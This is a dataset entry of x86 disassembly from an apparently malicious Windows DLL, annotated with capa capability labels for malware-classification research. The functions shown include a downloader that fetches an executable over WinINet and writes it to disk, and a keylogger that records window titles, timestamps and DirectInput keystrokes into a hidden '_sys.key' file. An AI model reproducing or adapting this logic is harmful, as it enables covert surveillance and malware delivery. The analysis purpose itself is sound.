joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006b00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x1002c1b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x80c], eax
xor eax, eax
mov ebx, 1
push str.wininet.dll
mov dword [ebp - 0x810], ecx
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x81c], eax
mov byte [ebp - 0x805], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenW
push esi
call edi
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x818], eax
test eax, eax
jne 0x10006b90
test esi, esi
je 0x10006b7d
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100116ff
mov esp, ebp
pop ebp
ret
push str.InternetOpenUrlW
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov ecx, dword [ebp - 0x818]
push 0
push SysReAllocString
push 0
push 0
push edx
push ecx
call eax
mov dword [ebp - 0x80c], eax
test eax, eax
je 0x10006b72
mov edx, dword [ebp - 0x810]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x810], eax
cmp eax, 0xffffffff
je 0x10006c7f
jmp 0x10006bf0
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.100134f0
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp - 0x80c]
push 0x800
lea edx, [ebp - 0x804]
push edx
push ecx
call eax
test ebx, ebx
je 0x10006c3c
mov edx, 0x5a4d
cmp word [ebp - 0x804], dx
jne 0x10006c6b
mov ecx, dword [ebp - 0x814]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x81c]
push eax
mov eax, dword [ebp - 0x810]
push ecx
lea edx, [ebp - 0x804]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x814], ebx
ja 0x10006bf0
jmp 0x10006c72
mov byte [ebp - 0x805], 0
mov ecx, dword [ebp - 0x810]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov edi, eax
push edx
call edi
mov eax, dword [ebp - 0x818]
push eax
call edi
test esi, esi
je 0x10006cae
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x805]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100116ff
mov esp, ebp
pop ebp
ret
Function at 0x10007170
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x3c]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x100071b3
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x100071ac
mov esi, dword [eax + 0x20]
jmp 0x100071b3
test bl, bl
jns 0x100071b3
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x10007280
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x3c]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x10007208
mov ecx, dword [ebx]
test cl, 0x40
je 0x10007201
mov edi, dword [eax + 0x20]
jmp 0x10007208
test cl, cl
jns 0x10007208
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x10007237
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x10007237
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.100070c0
test eax, eax
je 0x1000729e
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x1000725f
mov eax, dword [ebx]
test eax, 0x2000000
je 0x1000724e
test dword [ebp - 0x10], 0x2000000
je 0x1000724e
or dword [ebp - 0x10], eax
jmp 0x10007259
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x100071e0
lea ecx, [ebp - 0x1c]
mov eax, edi
mov dword [ebp - 0xc], 1
call fcn.100070c0
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007ce0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0xc8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x2f4]
push ecx
call edi
lea eax, [esi + 0xcc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea ebx, [esi + 0xb8]
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [ebp + 0x10]
push edx
lea edi, [esi + 0xd4]
push 0xff
push edi
call fcn.10011f43
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push edi
mov dword [esi + 0x2d4], eax
call fcn.100137f0
mov eax, dword [esi + 0x2d4]
lea ecx, [eax + 4]
push eax
mov dword [esi + 0x2d8], ecx
call fcn.10011c87
add esp, 0x10
mov dword [esi + 0x2ec], eax
test eax, eax
je 0x10007dd7
mov ecx, dword [esi + 0x2e8]
mov eax, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
mov edx, dword [edx]
push 0
push 0
push 1
add ecx, 4
push eax
mov eax, dword [ebp + 8]
push eax
call edx
mov eax, dword [esi + 0x2f4]
push 0x1770
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10007de2
cmp eax, 0x102
je 0x10007dca
cmp eax, 0xffffffff
jne 0x10007dd7
mov ecx, dword [esi + 0x2f4]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [esi + 0x2f4]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea edi, [esi + 0xc0]
push edi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [edi]
sub eax, dword [ebx]
mov ecx, dword [edi + 4]
sbb ecx, dword [ebx + 4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
fild qword [ebp - 8]
push 1
fild qword [esi + 0xb0]
lea eax, [esi + 0xcc]
push eax
fdiv qword [0x10028450]
fdivp st(1)
fstp qword [esi + 0xa8]
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [esi + 0x2f4]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10008d20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x10033cdc], 0
jne 0x10008d96
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 0
push 0
mov ecx, 0x386
mov edi, str.xiugaishiyong
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
push 0x100083d0
mov ecx, 0x117
mov edi, str.mainsetting
push 0
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
call esi
push 0
push 0
push 0
push 0x10008980
push 0
push 0
mov dword [0x10033cdc], eax
call esi
mov eax, dword [0x10033cdc]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x10033cdc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebp
ret
Function at 0x10008da0
Capabilities:
Create thread

Disassembly:
cmp dword [0x10033cdc], 0
jne 0x10008df3
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x100083d0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10008980
push 0
push 0
mov dword [0x10033cdc], eax
call esi
mov eax, dword [0x10033cdc]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x10033cdc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
ret

Function at 0x10008e10
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1002c1b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0x10032060
push 0
push 0
push 0x23
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str._sys.key
push 0x10032060
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x10032060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0xffffffffffffffff
push eax
mov dword [0x10033cec], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x10032060
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 0x3200000
jbe 0x10008eac
push 0x10032060
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [0x10033cec]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebx]
xor esi, esi
push esi
push 0x10033ce0
push 0x100272ac
push 0x800
push edx
call dword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x10008eea
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100116ff
mov esp, ebp
pop ebp
ret
mov eax, dword [0x10033ce0]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
push esi
push 0x10033ce4
push 0x100272cc
push eax
call edx
test eax, eax
js 0x10008ed8
mov eax, dword [0x10033ce4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0x10027294
push eax
call edx
test eax, eax
js 0x10008ed8
mov eax, dword [0x10033ce4]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
mov ecx, dword [eax]
push 0xa
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x10008ed8
mov eax, dword [0x10033ce4]
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x18], 0x14
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 0x3c
mov ecx, dword [eax]
push 1
push eax
mov eax, dword [ecx + 0x18]
call eax
test eax, eax
js 0x10008ed8
mov eax, dword [0x10033ce4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push eax
call edx
mov ecx, dword [ebp - 4]
test eax, eax
setns al
pop edi
xor ecx, ebp
pop esi
call fcn.100116ff
mov esp, ebp
pop ebp
ret
Function at 0x10008fa0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x10033cec]
push esi
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x10032060
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
mov esi, eax
push 0
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x10033cec]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10009020
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [0x1002c1b8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x800
push 0
push 0x100341a8
call fcn.100134f0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x800
push 0x100341a8
push eax
mov dword [0x100341a4], eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x806]
push ecx
xor esi, esi
mov word [ebp - 0x808], ax
call fcn.100134f0
mov edx, dword [0x100341a4]
add esp, 0xc
cmp edx, dword [0x100341a0]
je 0x10009129
push 0x100341a8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x1000911d
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x80c]
movzx edx, word [ebp - 0x80e]
movzx eax, word [ebp - 0x810]
push ecx
movzx ecx, word [ebp - 0x812]
push edx
movzx edx, word [ebp - 0x816]
push eax
movzx eax, word [ebp - 0x818]
push ecx
push edx
push eax
push 0x100341a8
lea ecx, [ebp - 0x808]
push 0x100283f0
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edi, [ebp - 0x808]
call fcn.10008fa0
push 0x800
push esi
push 0x100341a8
call fcn.100134f0
add esp, 0x30
mov esi, 1
mov edx, dword [0x100341a4]
mov dword [0x100341a0], edx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100116ff
mov esp, ebp
pop ebp
ret
Function at 0x10009140
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54
mov eax, dword [0x1002c1b8]
xor eax, esp
mov dword [esp + 0x50], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push edi
lea ecx, [ecx]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10009020
test eax, eax
je 0x100091e4
mov eax, dword [0x10033cec]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x10032060
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
mov esi, eax
push 0
push esi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0x1002843c
call ebx
add eax, eax
push eax
push 0x1002843c
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x10033cec]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x10033ce4]
test eax, eax
je 0x1000920d
push 0
push 0x10033ce8
push 0x10033cf0
mov dword [0x10033ce8], 0x3c
mov ecx, dword [eax]
mov edx, dword [ecx + 0x28]
push 0x14
push eax
call edx
cmp dword [0x10033ce8], 0
mov dword [esp + 0x10], 0
jle 0x10009160
xor esi, esi
mov dword [esp + 0x14], esi
lea eax, [esp + 0x20]
push eax
call ebx
push eax
lea ecx, [esp + 0x24]
push 0
push ecx
call fcn.100134f0
add esp, 0xc
mov edi, str._esc_
mov edx, dword [esi + 0x10033cf0]
dec edx
cmp edx, dword [edi + 0x28]
jne 0x100092ed
test byte [esi + 0x10033cf4], 0x80
je 0x100092ed
push edi
lea eax, [esp + 0x24]
push 0x10028448
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [0x10033cec]
add esp, 0xc
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x10032060
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
mov esi, eax
push 0
push esi
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x28]
push eax
call ebx
add eax, eax
push eax
lea ecx, [esp + 0x2c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x10033cec]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov esi, dword [esp + 0x14]
add edi, 0x2c
cmp edi, str.xiugaishiyong
jl 0x10009244
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x14
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], esi
cmp eax, dword [0x10033ce8]
jl 0x10009228
jmp 0x10009160
Function at 0x1000b300
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0
test eax, eax
jne 0x1000b352
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 8]
push eax
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0xffff
push edi
mov esi, eax
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x1000b38b
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea edx, [ebp - 4]
push edx
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
mov esi, eax
lea eax, [ebp - 4]
push eax
push 4
push 0xffff
push edi
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x1000b3c4
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea ecx, [ebp - 4]
push ecx
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
lea edx, [ebp - 8]
push edx
push 4
push 0xffff
push edi
mov esi, eax
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b710
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [ebp - 4]
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
mov dword [ebp - 8], eax
cmp edx, ecx
ja 0x1000b748
jb 0x1000b73e
cmp eax, ebx
jae 0x1000b748
mov eax, ebx
mov edx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov ecx, dword [ebp + 0x18]
push 0
push eax
push edx
push ecx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esi + 8], eax
test eax, eax
jne 0x1000b76e
call fcn.100093f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
mov edx, dword [ebp + 0x10]
test ebx, ebx
jne 0x1000b77f
mov ecx, dword [ebp - 8]
sub ecx, edx
mov dword [esi + 4], ecx
jmp 0x1000b782
mov dword [esi + 4], ebx
mov ecx, dword [ebp + 0x1c]
mov dword [esi + 0x10], edx
mov edx, dword [ebp + 0x14]
push 0
mov dword [esi + 0x14], edx
mov edx, dword [esi + 4]
push edx
mov edx, dword [esi + 0x10]
push edx
mov edx, dword [esi + 0x14]
push edx
push ecx
push eax
mov dword [esi + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov dword [esi], eax
test eax, eax
jne 0x1000b7d0
call fcn.100093f0
mov edi, eax
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
mov dword [esi + 8], 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x1000b970
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
xor eax, eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x24]
mov word [ebp - 0x24], ax
mov eax, dword [ebp + 8]
push edx
push eax
mov dword [ebp - 8], 0x1c
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x1000b99f
xor eax, eax
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x24]
push edx
call fcn.1000b850
add esp, 0x14
mov esp, ebp
pop ebp
ret

Function at 0x1000b9c0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
mov edi, dword [ebp + 0xc]
mov ecx, dword [edi + 4]
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
test ecx, ecx
je 0x1000b9ee
mov eax, dword [ebp + 8]
push eax
call fcn.1000b5f0
jmp 0x1000b9f8
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x1000ba5d
call fcn.100093f0
test eax, eax
js 0x1000ba70
mov eax, dword [edi]
lea edx, [ebp - 4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x1000ba27
call fcn.100093f0
test eax, eax
js 0x1000ba70
mov eax, dword [ebp - 8]
push esi
mov esi, dword [ebp - 4]
test esi, esi
jne 0x1000ba33
test eax, eax
je 0x1000ba61
mov edx, dword [ebp + 0x14]
xor ecx, ecx
cmp esi, ecx
ja 0x1000ba61
jb 0x1000ba42
cmp eax, edx
ja 0x1000ba61
mov eax, dword [edi]
mov ecx, dword [ebp + 0x10]
push 4
push 2
push 0
push 0
push 0
push eax
call fcn.1000b710
pop esi
pop edi
mov esp, ebp
pop ebp
ret
mov dword [edi], eax
jmp 0x1000ba06
or eax, esi
mov eax, 0x800703ee
je 0x1000ba6f
mov eax, 0x800700df
pop esi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000bbe0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x1002c1b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
xor eax, eax
push esi
mov esi, dword [ebp + 0x10]
mov dword [esi + 2], eax
mov dword [esi + 6], eax
mov dword [esi + 0xa], eax
mov dword [esi + 0xe], eax
mov dword [esi + 0x12], eax
push edi
mov dword [esi + 0x16], eax
mov dword [ebp - 0xa8], eax
mov word [esi + 0x1a], ax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
movzx eax, word [esi]
push 3
lea edx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x88]
mov dword [ebp - 0xac], 0xc00
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x88], edx
call fcn.1000bb10
mov edx, dword [ebp - 0x88]
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0xac]
push ecx
push 0
push edx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov edi, eax
mov eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x84]
cmp eax, ecx
je 0x1000bca8
push eax
call fcn.10012adf
add esp, 4
test edi, edi
je 0x1000bcc5
push edi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100116ff
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 0x8c]
xor edi, edi
mov eax, ebx
test ebx, ebx
je 0x1000bd00
mov ecx, dword [eax + 4]
cmp ecx, 2
je 0x1000bcea
cmp ecx, 0x17
je 0x1000bcea
mov eax, dword [eax + 0x1c]
test eax, eax
jne 0x1000bcd4
jmp 0x1000bd00
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x18]
push edx
push eax
push esi
call fcn.100137f0
add esp, 0xc
mov edi, 1
push ebx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
pop ebx
test edi, edi
je 0x1000bd2c
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 2], ax
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100116ff
mov esp, ebp
pop ebp
ret
push 0x2af9
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.100116ff
mov esp, ebp
pop ebp
ret